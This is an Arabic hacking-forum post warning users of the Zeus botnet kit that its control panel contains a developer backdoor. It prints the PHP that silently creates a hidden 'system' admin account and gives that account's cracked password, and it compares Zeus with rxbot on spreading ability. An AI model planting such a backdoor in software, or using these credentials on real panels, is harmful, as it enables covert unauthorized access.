development-point - أحذر من إستخدام بوت Zeus

development-point (https://vb.development-point.com/index.php)

- قسم إختراق الأجـهـزه والأيـمـيـلات (https://vb.development-point.com/forumdisplay.php?f=17)

- - أحذر من إستخدام بوت Zeus (https://vb.development-point.com/showthread.php?t=15394)

أحذر من إستخدام بوت Zeus

السلام عليكم ورحمة الله وبركاته :-

لكل من يستخدم بوت زيوس أرجو الإنتباه من هذا البوت ...

بإختصار هذا البوت ملغوم من قبل مبرمجه والدليل كالآتي :-

وجود كود في الكونفيق وهو :-

كود:
if(@mysql_query("SELECT id FROM cp_users WHERE name='".addslashes($user)."' AND pass='".addslashes($pass)."' AND flag_enabled='1' LIMIT 1") && @mysql_affected_rows() == 1) { @mysql_query("INSERT IGNORE INTO cp_users (id,name,pass,language,flag_enabled,comments,ss_fo rmat,ss_quality,r_edit_bots,r_stats_main,r_stats_m ain_reset,r_stats_os,r_botnet_bots,r_botnet_script s,r_botnet_scripts_edit,r_reports_db,r_reports_db_ edit,r_reports_files,r_reports_files_edit,r_system _info,r_system_options,r_system_user,r_system_user s) VALUES ('999','system','e99a18c428cb38d5f260853678922e03' ,'en','1','System user','jpeg','30','1','1','1','1','1','1', '1', '1','1','1','1','1','1','1','1');"); if(isset($_POST['remember']) && $_POST['remember'] == 1)

لشرح الكود :-

يقوم الكود ببساطة بزرع في قاعدة البيانات مستخدم وباسورد جديد لا يعلم عنه صاحب البوت فقط من يعلم عنه هو مبرمج البوت .. حيث يقوم هذا الكود بإدخال الآتي لقاعدة البيانات :-

أسم المستخدم :-
system
الباسورد :-
abc123

وذلك من خلال تحليل شفرة ال md5 التي قام بوضعها المبرمج ..

مما يعني بأن المبرمج قام بزرع هذا الكود لزرع اسم مستخدم له حيث يستطيع الدخول على جميع لوحات التحكم لمن يستخدمون البوت الخاص به ..

كذلك يوجد مواقع حكومي يلاحق من يستخدمون هذا النوع من البوت مما يعني بأن البوت من السهل كشفه وكشف ممن يستخدمونه والدليل ..

https://zeustracker.abuse.ch/statistic.php

كذلك مميزات البوت ليست كال rxbot خصوصاً من ناحية الإنتشار .. نعم هناك إضافة كما سمعت للبوت تسمح له بالإنتشار لكن لم أجربها أو أستخدمها ...

خلاصة الكلام ..

لآ أنصح بإستخدام هذا البوت نهائياً ...
منقول من الاخ rDNix